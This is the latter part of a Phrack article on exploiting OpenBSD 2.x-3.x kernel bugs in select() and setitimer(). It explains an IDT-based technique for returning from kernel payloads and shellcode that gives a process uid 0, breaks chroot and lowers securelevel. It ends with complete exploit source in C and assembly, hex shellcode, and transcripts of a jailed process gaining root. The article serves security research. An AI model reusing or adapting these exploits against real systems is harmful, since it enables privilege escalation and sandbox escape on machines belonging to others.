_idt_region+0x400:	80e4c
ddb> ^M
_idt_region+0x404:	e010ef00

To figure out the initial syscall handler we need to do the proper 'shift'
and 'or' operations on the gate descriptor bit fields, which leads to the
0xe0100e4c kernel address.

bash-2.05a# Stopped at          _Debugger+0x4: leave
ddb> x/x 0xe0100e4c
_Xosyscall_end:	pushl	$0x2
ddb> ^M
_Xosyscall_end+0x2:	pushl	$0x3
...
...
_Xosyscall_end+0x20:	call	_syscall
...

As per exception or software initiated interrupt, the corresponding vector
is found in the IDT and the execution is redirected to the handler gathered
from the gate descriptor. This is an intermediate handler and will
eventually take us to real handler. As seen at the kernel debugger output,
the initial handler _Xosyscall_end saves all registers (also some other low
level stuff) and immediately calls the real handler which is _syscall().

We have mentioned that the idtr register always contains the address of the
_idt_region, here is the way to access its content:

sidt 0x4(%edi)
mov  0x6(%edi),%ebx  

Address of the _idt_region is moved to ebx and IDT can now be referenced
via ebx. Assembly code to gather the syscall handler starting from the
initial handler is as follows;

sidt 0x4(%edi)
mov  0x6(%edi),%ebx     # mov _idt_region is in ebx
mov  0x400(%ebx),%edx   # _idt_region[0x80 * (2*sizeof long) = 0x400]
mov  0x404(%ebx),%ecx   # _idt_region[0x404]
shr  $0x10,%ecx	        #
sal  $0x10,%ecx	        # ecx = gd_hioffset
sal  $0x10,%edx	        #
shr  $0x10,%edx         # edx = gd_looffset
or   %ecx,%edx          # edx = ecx | edx  =  _Xosyscall_end

At this stage we have successfully found the initial/intermediate handler's
location, so the next step is to search through the kernel text, find 'call
_syscall', gather the displacement of the call instruction and add it to
the address of the instruction's location. Also plus 5 should be added to
the displacement for the size of the call instruction.

xor  %ecx,%ecx          # zero out the counter
up:
inc  %ecx
movb (%edx,%ecx),%bl    # bl =  _Xosyscall_end++
cmpb $0xe8,%bl          # if bl == 0xe8 : 'call'
jne  up

lea  (%edx,%ecx),%ebx   # _Xosyscall_end+%ecx: call _syscall
inc  %ecx
mov  (%edx,%ecx),%ecx   # take the displacement of the call ins.
add  $0x5,%ecx          # add 5 to displacement
add  %ebx,%ecx          # ecx = _Xosyscall_end+0x20 + disp = _syscall()

At this stage %ecx holds the address of the real handler _syscall(). The
next step is to find out where to return inside the syscall() function
which eventually leads to a broader research on various versions of OpenBSD
with various kernel compilation options. Luckily, it turns out to be safe
to search for the 'call *%eax' instruction inside the _syscall(), because
this turns out to be the instruction that dispatches every system call to
its final handler in every OpenBSD version I have tested.

For OpenBSD 2.6 through 3.1 kernel code always dispatched the system calls
with the 'call *%eax' instruction, which is unique in the scope of
_syscall() function.

bash-2.05a# Stopped at          _Debugger+0x4: leave
ddb> x/i _syscall+0x240
_syscall+0x240:	call	*%eax
ddb>cont

Our goal is now to figure out the offset (0x240 in the above disasm) for
any kernel version so that we can return to the instruction just after it
from our payload and achieve our goal. The code to search for 'call *%eax'
is as follows:

# _syscall+0x240: ff
# _syscall+0x241: d0    0x240->0x241 OBSD3.1

mov  %ecx,%edi         # ecx is the addr of _syscall 
movw $0xd0ff,%ax       # search for ffd0 'call *%eax'
cld
mov  $0xffffffff,%ecx
repnz
scasw                  # scan (%edi++) for %ax

# %edi gets incremented one last time before breaking the loop
# %edi contains the instruction address just after 'call *%eax' 
# so return to it!!!

xor  %eax,%eax         #set up the return value = Success ;)

push %edi              # push %edi on the stack and return to it
ret


Finally, this is all we needed for a clean return. This payload can be used
for any syscall overflow without requiring any further modification.
 

--[ 5.3 - _db_lookup() technique 


This technique introduces no new concepts; it is just another kernel text
search to find out the address of _db_lookup() -- the kernel land
equivalent of dlsym(). The search is based on the function fingerprint,
which is fairly safe on the recent versions on which the code has been
developed, but it might not work on the older versions. I choose to keep it
out of the text for brevity's sake but it's exact the same 'repnz scas'
concept just used in the idtr technique. (for sample code, contact me.)

 
--[ 5.4 - /usr/bin/nm, kvm_open(), nlist()


/usr/bin/nm, kvm library and nlist() library interface can all be used to
gather kernel land symbols and offsets but, as we already mentioned, they
all require a readable kernel image and/or additional privileges which in
most secured systems are not usually avaliable.

Furthermore, the most obvious problem with these interfaces are that they
won't work at all in chroot()ed environments with no privileges (nobody).
These are the main reasons I have not used these techniques within the
exploitation phase of privilege escalation and chroot breaking, but after
establishing full control over the system (uid = 0 and out of jail), I have
made use of offline binary symbol gathering in order to reset the
securelevel, more about this later.


--[ 5.5 - %ebp fixup


After taking care of the saved return address, we need to fix %ebp to
prevent crashes in later stages (especially in _syscall() code). The proper
way to calculate %ebp is to find out the difference between the stack
pointer and the saved base pointer at the procedure exit and used this
static number to restore %ebp. For all the versions of OpenBSD 2.6 through
3.1 this difference was 0x68 bytes. You can simply set a breakpoint on
_sys_select prolog and another one just before the 'leave' instruction at
the epilog and calculate the difference between the %ebp recorded at the
prolog and the %esp recorded just before the epilog.

lea  0x68(%esp),%ebp # fixup ebp

Above instruction would be enough to set the %ebp back to its old value.


--[ 6 - Payload/Shellcode Creation


In the following sections we'll develop small payloads that modify certain
fields of its parent process' proc structure to achieve elevated privileges
and break out of chroot/jail environments. Then, we'll chain the developed
assembly code with the sidt code to work our way back to user land and
enjoy our new privileges.


--[ 6.1 - What to achieve


Setting up a jail with nobody privileges and trying to break out of it
seems like a fairly good goal to achieve. Since all these privilege
separation terms are brought into OpenBSD with the latest OpenSSH, it would
be nice to actually demonstrate how trivial it would be to bypass this kind
of 'protection' by way of such kernel level vulnerabilities.

Certain inetd.conf services and OpenSSH are run as nobody/user in a
chrooted/jailed environment -- intended to be an additional assurance of
security. This is a totally false sense of security; jailme.c code follows:

jailme.c:

#include <stdio.h>

int
main()
{
        chdir("/var/tmp/jail");
        chroot("/var/tmp/jail");
        setgroups(NULL, NULL);
        setgid(32767);
        setegid(32767);
        setuid(32767);
        seteuid(32767);
        execl("/bin/sh", "jailed", NULL);
}

bash-2.05a# gcc -o jailme jailme.c
bash-2.05a# cp jailme /tmp/jailme
bash-2.05a# mkdir /var/tmp/jail
bash-2.05a# mkdir /var/tmp/jail/usr
bash-2.05a# mkdir /var/tmp/jail/bin /var/tmp/jail/usr/lib
bash-2.05a# mkdir /var/tmp/jail/usr/libexec
bash-2.05a# cp /bin/sh /var/tmp/jail/bin/
bash-2.05a# cp /usr/bin/id /var/tmp/jail/bin/
bash-2.05a# cp /bin/ls /var/tmp/jail/bin/
bash-2.05a# cp /usr/lib/libc.so.28.3 /var/tmp/jail/usr/lib/
bash-2.05a# cp /usr/libexec/ld.so /var/tmp/jail/usr/libexec/
bash-2.05a# cat >> /etc/inetd.conf 
1024            stream  tcp     nowait  root    /tmp/jailme
^C
bash-2.05a# ps aux | grep inetd
root     19121  0.0  1.1   148   352 p0  S+     8:19AM    0:00.05 grep 
inetd 
root     27152  0.0  1.1    64   348 ??  Is     6:00PM    0:00.08 inetd 
bash-2.05a# kill -HUP 27152
bash-2.05a# nc -v localhost 1024
Connection to localhost 1024 port [tcp/*] succeeded!
ls -l /
total 4
drwxr-xr-x  2 0  0  512 Dec  9 16:23 bin
drwxr-xr-x  4 0  0  512 Dec  9 16:21 usr
id
uid=32767 gid=32767
ps
jailed: <stdin>[4]: ps: not found
....


--[ 6.2 - The payload


Throughout this section we will introduce all the tiny bits of the complete
payload. So all these section chained together will form the eventual
payload, which will be available at the code section (10) of this paper.


--[ 6.2.1 - p_cred & u_cred


We'll start with the privilege elevation section of the payload. Following
is the payload to update ucred (credentials of user) and pcred (credentials
of the process) of any given proc structure. Exploit code fills in the proc
address of its parent process by using the sysctl() system call (discussed
on 5.1) replacing .long 0x12345678. The following 'call' and 'pop'
instructions will load the address of the given proc structure address into
%edi. The typical address gathering technique used in almost every PIC
%shellcode [ALEPH1].

call moo
.long 0x12345678   <-- pproc addr
.long 0xdeadcafe
.long 0xbeefdead
nop
nop
nop
moo:
pop  %edi
mov  (%edi),%ecx      # parent's proc addr in ecx

		      # update p_ruid
mov  0x10(%ecx),%ebx  # ebx = p->p_cred
xor  %eax,%eax        # eax = 0
mov  %eax,0x4(%ebx)   # p->p_cred->p_ruid = 0

	              # update cr_uid
mov  (%ebx),%edx      # edx = p->p_cred->pc_ucred
mov  %eax,0x4(%edx)   # p->p_cred->pc_ucred->cr_uid = 0


--[ 6.2.2 - chroot breaking


Next tiny assembly fragment will be the chroot breaker of our complete
payload.

Without going into extra detail (time is running out, deadline is within 3
days ;)), lets take a brief look of how chroot is checked on a per-process
basis. chroot jails are implemented by filling in the fd_rdir member of the
filedesc (open files structure) with the desired jail directories vnode
pointer. When kernel is giving certain services to any process, it checks
for the existence of this pointer and if it's filled with a vnode that
process is handled slightly different and kernel will create the notion of
a new root directory for this process thus jailing it into a predefined
directory. For a regular process this pointer is zero / unset.  So without
any further need to go into implementation level details, just setting this
pointer to NULL means FREEDOM! fd_rdir is referenced through the proc
structure as follows:

p->p_fd->fd_rdir 

As with the credentials structure, filedesc is also trivial to access and
alter, with only 2 instruction additions to our payload.

# update p->p_fd->fd_rdir to break chroot()

mov  0x14(%ecx),%edx  	# edx = p->p_fd
mov  %eax,0xc(%edx)   	# p->p_fd->fd_rdir = 0


--[ 6.2.3 - securelevel  


OpenBSD has 4 different securelevels starting from permanently insecure to
highly secure mode. The system by default runs at level 1 which is the
secure mode. Secure mode restrictions are as follows:

-   securelevel may no longer be lowered except by init
-   /dev/mem and /dev/kmem may not be written to
-   raw disk devices of mounted file systems are read-only
-   system immutable and append-only file flags may not be removed
-   kernel modules may not be loaded or unloaded

Some of these restrictions might complicate further compromise of the
system. So we should also take care of the securelevel flag and reset it to
0, which is the insecure level that gives you privileges such as being able
to load kernel modules to further penetrate the system.

But there were many problems in run time searching of the address of
securelevel in memory without false positives so I chose to utilize this
attack at a later stage. The stage that we get uid 0 and break free out of
jail, now we have all the interfaces available mentioned in section 5.4 to
query any kernel symbol and retrieve its address.

bash-2.05a# /usr/bin/nm /bsd | grep securelevel
e05cff38 B _securelevel

For this reason an additional, second stage exploit was crafted (without
any difference, other then the payload) that executes the following
assembly routine and returns to user land, using the idtr technique. See
ex_select_obsd_secl.c in section 10

call moo
.long 0x12345678     <-- address of securelevel filled by user
moo:
pop  %edi
mov  (%edi),%ebx      # address of securelevel in ebx
		      # reset security level to 0/insecure
xor  %eax,%eax        # eax = 0
mov  %eax,(%ebx)      # securelevel = 0

... 


--[ 6.3 - Get root & escape jail


All of the above chained into 2 piece of exploit code. Here is the door to
freedom! (Exploits and payloads can be found in section 10)

bash-2.05a# gcc -o ex ex_select_obsd.c
bash-2.05a# gcc -o ex2 ex_select_obsd_secl.c
bash-2.05a# cp ex /var/tmp/jail/
bash-2.05a# cp ex2 /var/tmp/jail/
bash-2.05a# nc -v localhost 1024
id
uid=32767 gid=32767
ls /
bin
ex
ex2
usr
./ex


[*] OpenBSD 2.x - 3.x select() kernel overflow     [*]
[*] by    Sinan "noir" Eren  -  [email protected]   [*]


userland: 0x0000df38 parent_proc: 0xe46373a4
id
uid=0(root) gid=32767(nobody)
uname -a
OpenBSD kernfu 3.1 GENERIC#59 i386
ls /
.cshrc
.profile
altroot
bin
boot
bsd
dev
etc
...
sysctl kern.securelevel
kern.securelevel = 1
nm /bsd | grep _securelevel
e05cff38 B _securelevel
./ex2 e05cff38
sysctl kern.securelevel
kern.securelevel = 0

... ;)

Directly copying the exploit into the jailed environment might seem a bit
unrealistic but it really is not an issue with system call redirection
[MAXIMI] or even by using little more imaginative shellcodes, you can
execute anything from a remote source without any further need for a shell
interpreter. To the best of my knowledge there is 2 commercial products
that have already achieved such remote execution simulations. [IMPACT],
[CANVAS]


--[ 7 - Conclusions


My goal in writing this paper was try to prove kernel land vulnerabilities
such as stack overflows and integer conditions can be exploited and lead to
total control over the system, no matter how strict your user land (i.e.,
privilege separation) or even kernel land (i.e., chroot, systrace,
securelevel) enforcements are ... I also tried to contribute to the newly
raised concepts (greets to Gera) of fail-safe and reusable exploitation
code generation.

I would like to end this article with my favorite vuln-dev posting of all
time:

Subject:   RE: OpenSSH Vulns (new?) Priv seperation
[...]
reducing root-run code from 27000 to 2500 lines is the important part.
who cares how many holes there are when it is in /var/empty/sshd chroot
with no possibility of root :)

XXXXX

[ I CARE. lol! ;)]


--[ 8 - Greetings


Thanks to Dan and Dave for correcting my English and committing many logic
fixes. Thanks to certain anonymous people for their help and support.

Greets to: optyx, dan, dave aitel, gera, bind, jeru, #convers
uberhax0r, olympos and gsu.linux ppl

Most thanks of all to goes to Asli for support, help and her never-ending
affection. Seni Seviyorum, mosirrr!!


--[ 9 -	References


- [ESA]     	Exploiting Kernel Buffer Overflows FreeBSD Style
		http://online.securityfocus.com/archive/1/153336

- [LSD-PL]	Kernel Level Vulnerabilities, 5th Argus Hacking Challenge
		http://lsd-pl.net/kernel_vulnerabilities.html

- [4.4 BSD]	The Design and Implementation of the 4.4BSD Operating
		System

- [Intel]	Intel Pentium 4 Processors Manuals
		http://developer.intel.com/design/Pentium4/manuals/

- [ALEPH1]	Smashing The Stack For Fun And Profit
		http://www.phrack.org/show.php?p=49&a=14

- [MAXIMI]	Syscall Proxying - Simulating Remote Execution
		http://www.corest.com/files/files/13/BlackHat2002.pdf

- [IMPACT]	http://www.corest.com/products/coreimpact/index.php

- [CANVAS]	http://www.immunitysec.com/CANVAS

- [ODED]	Big Loop Integer Protection
		Phrack #60 0x09 by Oded Horovitz

--[ 10 - Code


<++> ./ex_kernel/ex_select_obsd.c
/** 
 ** OpenBSD 2.x 3.x select() kernel bof exploit
 ** Sinan "noir" Eren 
 ** [email protected] | [email protected]
 ** (c) 2002 
 **
 **/   

#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/signal.h>
#include <sys/utsname.h>
#include <sys/stat.h>

/* kernel_sc.s shellcode */ 
unsigned char shellcode[] = 
"\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe"
"\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89"
"\x42\x04\x8b\x51\x14\x89\x42\x0c\x8d\x6c\x24\x68\x0f\x01\x4f\x04\x8b"
"\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b\x8b\x04\x04\x00\x00\xc1\xe9\x10"
"\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10\x09\xca\x31\xc9\x41\x8a\x1c\x0a"
"\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41\x8b\x0c\x0a\x83\xc1\x05\x01\xd9"
"\x89\xcf\x66\xb8\xff\xd0\xfc\xb9\xff\xff\xff\xff\xf2\x66\xaf\x31\xc0"
"\x57\xc3";

void sig_handler();
void get_proc(pid_t, struct kinfo_proc *);

int
main(int argc, char **argv)
{
   char *buf, *ptr, *fptr;
   u_long pgsz, *lptr, pprocadr;
   struct kinfo_proc kp;

  printf("\n\n[*] OpenBSD 2.x - 3.x select() kernel overflow   [*]\n");
  printf("[*] by  Sinan \"noir\" Eren  -  [email protected]  [*]\n");
  printf("\n\n"); sleep(1);

  	 pgsz = sysconf(_SC_PAGESIZE);  
	 fptr = buf = (char *) malloc(pgsz*4);
	 if(!buf) { 
		    perror("malloc"); 
		    exit(-1);
		 }
	 memset(buf, 0x41, pgsz*4);

	buf = (char *) (((u_long)buf & ~pgsz) + pgsz);

	get_proc((pid_t) getppid(), &kp);
	pprocadr = (u_long) kp.kp_eproc.e_paddr;

	ptr = (char *) (buf + pgsz - 200); /* userland adr */
	lptr = (long *) (buf + pgsz - 8);

	*lptr++ = 0x12345678; /* saved %ebp */
	*lptr++ = (u_long) ptr; /*(uadr + 0x1ec0);  saved %eip */

	shellcode[5] = pprocadr & 0xff;
	shellcode[6] = (pprocadr >> 8) & 0xff;
	shellcode[7] = (pprocadr >> 16) & 0xff;
	shellcode[8] = (pprocadr >> 24) & 0xff;

	memcpy(ptr, shellcode, sizeof(shellcode)-1);

        printf("userland: 0x%.8x ", ptr);	
	printf("parent_proc: 0x%.8x\n", pprocadr);

	if( mprotect((char *) ((u_long) buf + pgsz), (size_t)pgsz,
						 PROT_WRITE) < 0) {
		perror("mprotect");	
		exit(-1);
	}

	signal(SIGSEGV, (void (*)())sig_handler);
	select(0x80000000, (fd_set *) ptr, NULL, NULL, NULL);

done:	
	free(fptr);	
}	

void
sig_handler()
{
   exit(0);
}

void
get_proc(pid_t pid, struct kinfo_proc *kp)
{
   u_int arr[4], len;

        arr[0] = CTL_KERN;
        arr[1] = KERN_PROC;
        arr[2] = KERN_PROC_PID;
        arr[3] = pid;
        len = sizeof(struct kinfo_proc);
        if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
                perror("sysctl");
                fprintf(stderr, "this is an unexpected error, rerun!\n");
                exit(-1);
        }

}
<--> ./ex_kernel/ex_select_obsd.c
<++> ./ex_kernel/ex_select_obsd_secl.c
/** 
 ** OpenBSD 2.x 3.x select() kernel bof exploit
 **
 ** securelevel reset exploit, this is the second stage attack
 **
 ** Sinan "noir" Eren 
 ** [email protected] | [email protected]
 ** (c) 2002 
 **
 **/   

#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/signal.h>
#include <sys/utsname.h>
#include <sys/stat.h>

/* sel_sc.s shellcode */
unsigned char shellcode[] = 
"\xe8\x04\x00\x00\x00\x78\x56\x34\x12\x5f\x8b\x1f\x31\xc0\x89\x03\x8d"
"\x6c\x24\x68\x0f\x01\x4f\x04\x8b\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b"
"\x8b\x04\x04\x00\x00\xc1\xe9\x10\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10"
"\x09\xca\x31\xc9\x41\x8a\x1c\x0a\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41"
"\x8b\x0c\x0a\x83\xc1\x05\x01\xd9\x89\xcf\x66\xb8\xff\xd0\xfc\xb9\xff"
"\xff\xff\xff\xf2\x66\xaf\x31\xc0\x57\xc3";

void sig_handler();

int
main(int argc, char **argv)
{
   char *buf, *ptr, *fptr;
   u_long pgsz, *lptr, secladr;

	if(!argv[1]) {
	printf("Usage: %s secl_addr\nsecl_addr: /usr/bin/nm /bsd |"
       	" grep _securelevel\n", argv[0]);
	exit(0);
	}

	secladr = strtoul(argv[1], NULL, 16);

  	 pgsz = sysconf(_SC_PAGESIZE);  
	 fptr = buf = (char *) malloc(pgsz*4);
	 if(!buf) { 
		    perror("malloc"); 
		    exit(-1);
		 }
	 memset(buf, 0x41, pgsz*4);

	buf = (char *) (((u_long)buf & ~pgsz) + pgsz);

	ptr = (char *) (buf + pgsz - 200); /* userland adr */
	lptr = (long *) (buf + pgsz - 8);

	*lptr++ = 0x12345678; /* saved %ebp */
	*lptr++ = (u_long) ptr; /*(uadr + 0x1ec0);  saved %eip */

	shellcode[5] = secladr & 0xff;
	shellcode[6] = (secladr >> 8) & 0xff;
	shellcode[7] = (secladr >> 16) & 0xff;
	shellcode[8] = (secladr >> 24) & 0xff;

	memcpy(ptr, shellcode, sizeof(shellcode)-1);

	if( mprotect((char *) ((u_long) buf + pgsz), (size_t)pgsz,
					 PROT_WRITE) < 0) {
		perror("mprotect");	
		exit(-1);
	}

	signal(SIGSEGV, (void (*)())sig_handler);
	select(0x80000000, (fd_set *) ptr, NULL, NULL, NULL);

done:	
	free(fptr);	
}	

void
sig_handler()
{
   exit(0);
}
<--> ./ex_kernel/ex_select_obsd_secl.c
<++> ./ex_kernel/ex_setitimer_obsd.c
/**
 ** OpenBSD 2.x 3.x setitimer() kernel memory write exploit 
 ** Sinan "noir" Eren
 ** [email protected] | [email protected]
 ** (c) 2002
 **
 **/

#include <stdio.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/time.h>
#include <sys/sysctl.h>


struct itimerval val, oval;
int which = 0;

int
main(int argc, char **argv)
{
   find_which();
   setitimer(which, &val, &oval);
   seteuid(0);
   setuid(0);
   printf("uid: %d euid: %d gid: %d \n", getuid(), geteuid(), getgid());
   execl("/bin/sh", "noir", NULL);
}

find_which()
{
   unsigned int arr[4], len;
   struct kinfo_proc kp;
   long stat, cred, rem;

	memset(&val, 0x00, sizeof(val));
	val.it_interval.tv_sec = 0x00;  //fill this with cr_ref
	val.it_interval.tv_usec = 0x00;
	val.it_value.tv_sec = 0x00;
	val.it_value.tv_usec = 0x00;

	arr[0] = CTL_KERN;
	arr[1] = KERN_PROC;
	arr[2] = KERN_PROC_PID;
	arr[3] = getpid();
	len = sizeof(struct kinfo_proc);
	if(sysctl(arr, 4, &kp, &len, NULL, 0) < 0) {
		perror("sysctl");
		fprintf(stderr, "this is an unexpected error, rerun!\n");
		exit(-1);
	}

	printf("proc: %p\n\n", (u_long) kp.kp_eproc.e_paddr);
	printf("pc_ucred: %p ", (u_long) kp.kp_eproc.e_pcred.pc_ucred);

	printf("p_ruid: %d\n\n", (u_long) kp.kp_eproc.e_pcred.p_ruid);
	printf("proc->p_cred->p_ruid: %p, proc->p_stats: %p\n", 
	(char *) (kp.kp_proc.p_cred) + 4, kp.kp_proc.p_stats);
        printf("cr_ref: %d\n", (u_long) kp.kp_eproc.e_ucred.cr_ref);
	
	cred = (long) kp.kp_eproc.e_pcred.pc_ucred;	
	stat = (long) kp.kp_proc.p_stats;
	val.it_interval.tv_sec = kp.kp_eproc.e_ucred.cr_ref;
	
	printf("calculating which for u_cred:\n");
	which = cred - stat - 0x90;
	rem = ((u_long)which%0x10);
	printf("which: %.8x reminder: %x\n", which, rem);

	switch(rem) {
	case 0x8:
	case 0x4:
	case 0xc:
         break;
	case 0x0:
	 printf("using u_cred, we will have perminent euid=0\n");
	 goto out;
	} 
			
	val.it_interval.tv_sec = 0x00;
	cred = (long) ((char *) kp.kp_proc.p_cred+4);
	stat = (long) kp.kp_proc.p_stats;

	printf("calculating which for u_cred:\n");
	which = cred - stat - 0x90;	
	rem = ((u_long)which%0x10);
	printf("which: %.8x reminder: %x\n", which, rem);

	switch(rem) {
	case 0x8:
	case 0x4:
	 printf("too bad rem is fucked!\nlet me know about this!!\n"); 
         exit(0);
	case 0x0:
	 break;
	case 0xc:
	 which += 0x10;
	} 
	printf("\nusing p_cred instead of u_cred, only the new process "
	       "will be priviliged\n");

out:
	which = which >> 4;
	printf("which: %.8x\n", which);	
	printf("addr to overwrite: %.8x\n", stat + 0x90 + (which * 0x10));
}
<--> ./ex_kernel/ex_setitimer_obsd.c
<++> ./ex_kernel/kernel_sc.s
# kernel level shellcode
# [email protected] |  [email protected]
# 2002
.text
	.align 2,0x90

.globl _main
	.type	_main , @function
_main:

call moo
.long 0x12345678
.long 0xdeadcafe
.long 0xbeefdead
nop
nop
nop
moo:
pop  %edi
mov  (%edi),%ecx      # parent's proc addr on ecx

# update p_cred->p_ruid
mov  0x10(%ecx),%ebx  # ebx = p_cred 
xor  %eax,%eax        # eax = 0
mov  %eax,0x4(%ebx)
# p_ruid = 0

# update pc_ucred->cr_uid
mov  (%ebx),%edx      # edx = pc_ucred
mov  %eax,0x4(%edx)
# cr_uid = 0

# update p_fd->fd_rdir to break chroot()
mov  0x14(%ecx),%edx # edx = p_fd
mov  %eax,0xc(%edx)
# p_fd->fd_rdir = 0

lea  0x68(%esp),%ebp
# set ebp to normal

# find where to return: sidt technique
sidt 0x4(%edi)
mov  0x6(%edi),%ebx   # mov _idt_region in eax
mov  0x400(%ebx),%edx # _idt_region[0x80 * (2*long) = 0x400]
mov  0x404(%ebx),%ecx # _idt_region[0x404]
shr  $0x10,%ecx
sal  $0x10,%ecx
sal  $0x10,%edx
shr  $0x10,%edx
or   %ecx,%edx        # edx = ecx | edx; _Xosyscall_end

# search for Xosyscall_end+XXX: call _syscall instruction

xor  %ecx,%ecx
up:
inc  %ecx
movb (%edx,%ecx),%bl
cmpb $0xe8,%bl
jne  up

lea  (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall
inc  %ecx
mov  (%edx,%ecx),%ecx # take the displacement of the call ins.
add  $0x5,%ecx        # add 5 to displacement
add  %ebx,%ecx        # ecx = _Xosyscall_end+0x20 + disp

# search for _syscall+0xXXX: call *%eax 
# and return to where we were supposed to!
# _syscall+0x240: ff
# _syscall+0x241: d0	0x240,0x241 on obsd3.1

mov  %ecx,%edi         # ecx is addr of _syscall
movw $0xd0ff,%ax
cld
mov  $0xffffffff,%ecx 
repnz 
scasw    #scan (%edi++) for %ax

#return to *%edi
xor  %eax,%eax  #set up the return value to Success ;)
push %edi
ret
<--> ./ex_kernel/kernel_sc.s
<++> ./ex_kernel/secl_sc.s
# securelevel reset shellcode
# [email protected] |  [email protected]
# 2002
.text
	.align 2,0x90
.globl _main
	.type	_main , @function
_main:
call moo
.long 0x12345678
moo:
pop  %edi
mov  (%edi),%ebx      # address of securelevel

xor  %eax,%eax        # eax = 0
mov  %eax,(%ebx)
# securelevel = 0

lea  0x68(%esp),%ebp
# set ebp to normal

# find where to return: sidt technique
sidt 0x4(%edi)
mov  0x6(%edi),%ebx   # mov _idt_region in eax
mov  0x400(%ebx),%edx # _idt_region[0x80 * (2*long) = 0x400]
mov  0x404(%ebx),%ecx # _idt_region[0x404]
shr  $0x10,%ecx
sal  $0x10,%ecx
sal  $0x10,%edx
shr  $0x10,%edx
or   %ecx,%edx        # edx = ecx | edx; _Xosyscall_end

# search for Xosyscall_end+XXX: call _syscall instruction

xor  %ecx,%ecx
up:
inc  %ecx
movb (%edx,%ecx),%bl
cmpb $0xe8,%bl
jne  up

lea  (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall
inc  %ecx
mov  (%edx,%ecx),%ecx # take the displacement of the call ins.
add  $0x5,%ecx        # add 5 to displacement
add  %ebx,%ecx        # ecx = _Xosyscall_end+0x20 + disp

# search for _syscall+0xXXX: call *%eax 
# and return to where we were supposed to!
# _syscall+0x240: ff
# _syscall+0x241: d0	OBSD3.1

mov  %ecx,%edi         # ecx is addr of _syscall
movw $0xd0ff,%ax
cld
mov  $0xffffffff,%ecx 
repnz 
scasw    #scan (%edi++) for %ax

#return to *%edi
xor  %eax,%eax  #set up the return value to Success ;)
push %edi
ret
<--> ./ex_kernel/secl_sc.s

|=[ EOF ]=---------------------------------------------------------------=|

[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]
© Copyleft 1985-2024, Phrack Magazine.